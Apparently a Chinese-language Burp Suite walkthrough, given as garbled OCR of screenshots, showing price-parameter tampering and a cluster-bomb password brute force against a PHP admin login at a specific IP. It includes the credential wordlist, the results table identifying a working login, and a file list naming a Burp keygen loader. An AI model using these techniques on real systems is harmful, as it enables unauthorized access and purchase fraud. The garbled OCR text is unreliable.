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Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

Repeater I Sequencer I Decoder I Comparer I Extender I Project options

T User options

Dashboard Target

Intruder

_M HTTP history TWleecktts histary T Options ]

/ Request to http://59.63.200.79:8003

I~ coarmm

[ Fomard J l Drop J [ Intercept is on J { Action J | Comm

[

nt this item

*Q®

POST /dami_S=/index.php?m=Public&a=ajax_insert_cat HTTP/1.1

Host: 50.63.200.79:8003

User-Agent: Mozilla/S.0 (Windows NT 10.0; WinB4; x54; n:76.0) Gecko/20100101 Firefox/78.0
Accept: "/

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 ,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: applicationfx-vann-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 195

Origin: http://50.63.200.79:8003

Connection: close

Referer: http://58.63.200.79:8003/dami_S5=/index.php?s=/articles/89. htm|

Cookie: BkGOp@5780_think_template=default; PHPSESSID=eo01ag1k3n18mtce? clmBvifil0

BAEEERRIBEHER T
Price=5400

id=09&name="
price=54008&gi
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FE5400H (A T — A A
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&price=5.400&gh
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BB Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

[ Dashboard T Target M Intruder T Repeater T Sequencer I Decoder I Comparer

HTTP history T WebSockets history I Options ]

f Request to http://59.63.200.79:8003

l Fomward ] [ Drop ] [ Intercept is on ] { Action ]

Params T Headers I Hex ]

POST /dami_5S=/admin.php?s=/Public/checklogin HTTP/1.1

Host: 58.63.200.79:8003

User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; x84, nv:76.0) Gecko/20100101 Firefox/78.0
Accept text/html, application/xhtmi+xml,applicationfxml;q=0.9,image/webp,”/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 .zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: applicationfsc-wan-form-urlencoded

Content-Length: 40

Origin: hitp://59.63.200.79:8003

Connection: close

Referer: http://59.63.200.79:8003/dami_5=/admin.php?s=/Public/login

Cookie: BkGOpO5780_think_template=default; PHPSESSID=eolag1k3ni1Gmtce? clmBvifil0
Upgrade-Insecure-Requests: 1

username=admin&password=123&verify=77136

&% Hintruder



Burp Project Intruder Repeater Window Help

-

Dashboard I Target I P roxy

Intruder | Repeater ISequtncel | De

7 y

1 x :2 X | ]
f !agnt | Puositions T Payloads T Options ]

® Attack Target

Configure the details of the target for the attack.

Host: | 50.83.200.79

—

Port: 8003

(] Use HTTPS

M dposition

‘ [nashhum ] Target I Proxy | Intruder I Repeater I q i T Ic p ] TFrcject options ]'u“r options ]
[ Target i Paositions I Payloads IOptinns l

® Payload Positions

Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details.

Aftack type: LSnipel }ﬂ

POST /dami_5=/admin.php?s=§/Public/checklagin§ HTTP/1.1 J ] T
Host: 58.63.200.79:8003 -

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; n.76.0) Gecko/20100101 Firefox/76.0 Tﬂs
Accept: text/html,application/xhtmHxml applicationixml;q=0.9.image/webp,"/;q=0.8 L—J
Accept-Language: zh-CN,zh;q=0.8,zh-TW:q=0.7 zh-HK;q=0.5,en-US:q=0.3.en;q=0.2 —

Accept-Encoding: gzip, deflate L&J

Content-Type: application/x-wwsform-urlencoded ————

Content-Length: 40 Refresh
Origin: http://50 63.200.70:8003
Connection: close

Referer: http://58.63.200.79:8003/dami_5=/admin.php?s=/Public/login

Cookie: BKGOpE5780_think_template=§default; PHPSESSID=5§eo1ag1k3n18mtce7 cImBvifri0§
Upgrade-Insecure-Requests: 1

username=§admin§&password=§123§&verify=577 136§

=
v
® < + > Tyoe a search tem 0 matches [LJ

6 payload positions

Length: 722
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Connection: close

Referer: http://59.63.200.79:8003/dami_5=/admin.php?s=/Public/lc
Cookie: BkGOpO5780_think_template=default; PHPSESSID=r01a
Upgrade-Insecure-Requests: 1

usermname=5adminS&p assword=§1238&verify=77 136

5 s iiPayloads

: [ Target I Positions M Options ]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type
set, and each payload type can be customized in different ways.

Payload set: l 1 ﬂ Payload count: O

Payload type: l Simple list ﬂ Request count: O

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

P aste
Load ...

Remove >

Clear

Pk

Add Enter a new item

Add from list ... B

p—
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[ Dashboard I Target
=

| 1 x ||i x || | Ak: lﬁ burp

[ Target I Positions |

n| E] bandicam 2020-06-02 20-35-45-343.mp4

E] burp - & % bat
@ Payload Sets E‘ burp.bat.tet
You can define E‘ burp-loaderkeygen-2.jar
set. and each p E] burpsuite_pro_v2.1.jar
E‘ burp il i 7% bt
") burpke 254 xls
Payload type: [ E‘J jre-8u231-wind ows-x54. exe
E‘j jre-Bu231-windows-x4.rar
RELYS
(@) Payload Optid | [®) meswse s R MburpH/ % RIEH.pptx

This payload typ

Payload set: [

Clear

THEMN: | TR

il 1

Add

TPFEET): | AR

| Add from list ..

S REHIRTCIE
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M Payloads | Options l

Payload Positions

Configure the positions where payloads will be inserted into the base request.
The attack type determines the way in which payloads are assigned to payload
positions - see help for full details.

Attack type: Lclustel bomb E

IPF‘IQT fdami B=ladmin nhnPe=/Puhlicrirharklaain HTTPM 1 f. I

F FFPayload Setsi B HAET T
FANER N b 3

Taiget | Positions | Payloads | options |

@ Payload Sets i Start att:

You can define one or more payload sets. The number of payload sets
depends on the attack type defined in the Positions tab. Various payload types
are available for each payload set, and each payload type can be

customized in different ways.

Payload set: [2 Q Payload count: 57

Payload type: lSimpIt list a Request count: 3,240

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

|' —— | admin A
oot

I Load ... | test
system

I Remove | guest »
systernadmin

I Clear | testl
test12
test123 \J

Add Entera new item

SR J5 start attack
XRE—NEKKTE
AT REHEBIA—FERTEOL, BIEEZLengthF FHEF



RRKENR

Attack Save Columns

M Target IPnsitions I Payloads I Options ]

Filter: Showing all items

Request | Payload1 I Payload2 Status | Error | Timeout ' Length A| Comment
755 zhagq Zhaq 302 a a 487
14 Zkag admin 200 g g 1633
71 zkagq root 200 ] g 1633
128 Zhagq test 200 O O 1633
185 Zhag system 200 g O 1633
242 Zhag guest 200 O O 1633
200 Zhaq systemadmin 200 O O 1633
356 zhag test1 200 O O 1633
413 Zhag test12 200 g g 1633
470 Zhagq test123 200 O g 1633
527 zhagq admin888 200 O O 1633
584 Zhagq admin123456 200 a a 1633
Add ean admin2aaaaa 200 M M 1R33
<\

BNEG
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